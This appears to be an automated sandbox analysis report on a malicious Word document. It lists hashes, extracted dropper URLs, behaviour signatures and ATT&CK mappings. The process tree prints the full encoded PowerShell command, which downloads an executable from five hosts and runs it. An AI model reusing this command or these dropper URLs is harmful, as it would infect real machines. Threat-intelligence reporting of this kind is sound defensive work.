0e47e3ce42230963c4d4ba25d0a668846b00d0bb01cd66bd71efe813278e6aa5

General

Target

Dati_2807_2020.doc
Size

175KB
MD5

f0d901a031bd6b9fd4334aab9c32f005
SHA1

8219a38dba15f41b4ee649f715eacb4675fafc0d
SHA256

00e580fbb7386c2e63da4a6b8868f904609859a0d52a387b6f581dfa2d2e6629
SHA512

262c1d650603337b24ecbae078d446d1aed68ec903808431a631864a9db5510fdf642f791b35b4e0206e231508cb4d37470a9c35ebb8af358875efaaf407d4ce
SSDEEP

3072:Dl4PrXcuQuvpzm4bkiaMQgAlSQ9THaHDaCppKw3E17oBK:WDRv1m4bnQgISGTHBw3EuK

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://chadcast.com/public_html/dU1iLSL3hw/

exe.dropper

http://blondenerd.com/cgi-bin/2K3jGP3q1w/

exe.dropper

http://bluespaceit.com/rodselectrical.net.au/dt72vCkz/

exe.dropper

http://bitbenderz.com/azam/OqMIf94117/

exe.dropper

http://bjbus.net/files/9O85/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3896	2284	powersheLL.exe	83

Blocklisted process makes network request 7 IoCs

flow	pid	Process
26	3896	powersheLL.exe
28	3896	powersheLL.exe
32	3896	powersheLL.exe
34	3896	powersheLL.exe
36	3896	powersheLL.exe
38	3896	powersheLL.exe
41	3896	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
5088	WINWORD.EXE
5088	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3896	powersheLL.exe
3896	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3896	powersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Dati_2807_2020.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5088

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABkAG8AdQBoAGIAYQBjAGMAaAB1AGEAdABoAD0AJwBuAGEAZQBiAGMAaQBiAHEAdQBvAHYAZwBpAGEAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AHIASQBUAHkAcABgAFIAbwBgAFQAYABPAGAAQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABxAHUAbwBpAHoAZwBpAGEAcAB4AGEAagBiAGEAeQAgAD0AIAAnADcAMgA2ACcAOwAkAGMAbwBpAGYAcwBvAGkAcQB1AHkAYQB1AHgAYwBhAGUAbAA9ACcAdAB1AGQAYwBpAG8AbgBrAG8AdQBwACcAOwAkAHEAdQB1AHcAbgBvAG8AdABoAGYAbwBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHEAdQBvAGkAegBnAGkAYQBwAHgAYQBqAGIAYQB5ACsAJwAuAGUAeABlACcAOwAkAGsAZQBvAGwAZwBvAGsAcgBvAGkAYwA9ACcAdAB1AHUAYgBnAHUAdQB6ACcAOwAkAGoAbwBpAHQAaAByAGkAZQBnAHgAbwBpAGcAbgBhAHoAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBsAEkAZQBOAHQAOwAkAGsAYQBxAHUAcgBpAGUAZgBzAGUAZQB6AD0AJwBoAHQAdABwADoALwAvAGMAaABhAGQAYwBhAHMAdAAuAGMAbwBtAC8AcAB1AGIAbABpAGMAXwBoAHQAbQBsAC8AZABVADEAaQBMAFMATAAzAGgAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBuAGQAZQBuAGUAcgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMgBLADMAagBHAFAAMwBxADEAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGwAdQBlAHMAcABhAGMAZQBpAHQALgBjAG8AbQAvAHIAbwBkAHMAZQBsAGUAYwB0AHIAaQBjAGEAbAAuAG4AZQB0AC4AYQB1AC8AZAB0ADcAMgB2AEMAawB6AC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGIAZQBuAGQAZQByAHoALgBjAG8AbQAvAGEAegBhAG0ALwBPAHEATQBJAGYAOQA0ADEAMQA3AC8AKgBoAHQAdABwADoALwAvAGIAagBiAHUAcwAuAG4AZQB0AC8AZgBpAGwAZQBzAC8AOQBPADgANQAvACcALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAaABvAGEAagBqAGUAbwB0AGgAPQAnAGQAZQBvAHEAdQBqAHUAcABuAGUAdABoACcAOwBmAG8AcgBlAGEAYwBoACgAJABmAHUAbgB4AGEAbwBoAGYAdQB0AGYAYQBpAHAAIABpAG4AIAAkAGsAYQBxAHUAcgBpAGUAZgBzAGUAZQB6ACkAewB0AHIAeQB7ACQAagBvAGkAdABoAHIAaQBlAGcAeABvAGkAZwBuAGEAegAuACIARABPAHcAbgBMAE8AYQBgAGQAZgBpAGAAbABlACIAKAAkAGYAdQBuAHgAYQBvAGgAZgB1AHQAZgBhAGkAcAAsACAAJABxAHUAdQB3AG4AbwBvAHQAaABmAG8AZQBnACkAOwAkAGwAbwBhAHQAaABjAG8AdQBxAHUAcAB1AHUAegBoAGkAZQB5AD0AJwB0AG8AaQByAG4AZQBpAHcAZAB1AGEAZAB6AGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAcQB1AHUAdwBuAG8AbwB0AGgAZgBvAGUAZwApAC4AIgBsAGAARQBOAGcAdABoACIAIAAtAGcAZQAgADMAMQA4ADcAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYQBgAFQARQAiACgAJABxAHUAdQB3AG4AbwBvAHQAaABmAG8AZQBnACkAOwAkAGgAaQBvAHIAbABlAGUAawA9ACcAaABpAHYAYgBlAGUAawB5AGUAbwBjACcAOwBiAHIAZQBhAGsAOwAkAHAAYQB6AGcAYQBpAGMAPQAnAHMAZQBlAGoAdABvAG8AeQBzAGEAZQBtAG4AZQBxAHUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbgBvAGEAYwBuAGUAaQBuAHcAZQB1AG0AbQBhAGkAegA9ACcAbgBvAGEAaABmAGUAZQBjAGgAeQBlAHUAdABoACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDF2A7.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjmh5a5y.2ln.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
55196e6839ae891e09bf2b2ff8dceb41

SHA1
06e494805a22c81b6cda3c5c6fd6afebe0ea231e

SHA256
ad9b357d55e0491930535e3111a006d8e5a0e9a20f8e29079f61336c62257b58

SHA512
f3a38ec001f3f1b4b1a37872606322e31c10dbb4b88bbb67b882e2656e51b074f70e9de506d155cf43307f719f420846f16f35c7a429319fb37e1a6d83d04528

Download Submit
memory/3896-71-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/3896-90-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/3896-74-0x0000024A543D0000-0x0000024A543F2000-memory.dmp

Filesize
136KB

Download
memory/5088-7-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-15-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-9-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-10-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-11-0x00007FFD9CB70000-0x00007FFD9CB80000-memory.dmp

Filesize
64KB

Download
memory/5088-12-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-13-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-14-0x00007FFD9CB70000-0x00007FFD9CB80000-memory.dmp

Filesize
64KB

Download
memory/5088-16-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-17-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-18-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-8-0x00007FFD9EBD0000-0x00007FFD9EBE0000-memory.dmp

Filesize
64KB

Download
memory/5088-30-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-31-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-0-0x00007FFD9EBD0000-0x00007FFD9EBE0000-memory.dmp

Filesize
64KB

Download
memory/5088-4-0x00007FFD9EBD0000-0x00007FFD9EBE0000-memory.dmp

Filesize
64KB

Download
memory/5088-6-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-5-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-1-0x00007FFD9EBD0000-0x00007FFD9EBE0000-memory.dmp

Filesize
64KB

Download
memory/5088-91-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-2-0x00007FFD9EBD0000-0x00007FFD9EBE0000-memory.dmp

Filesize
64KB

Download
memory/5088-100-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-101-0x00007FFDDEB50000-0x00007FFDDED45000-memory.dmp

Filesize
2.0MB

Download
memory/5088-3-0x00007FFDDEBED000-0x00007FFDDEBEE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads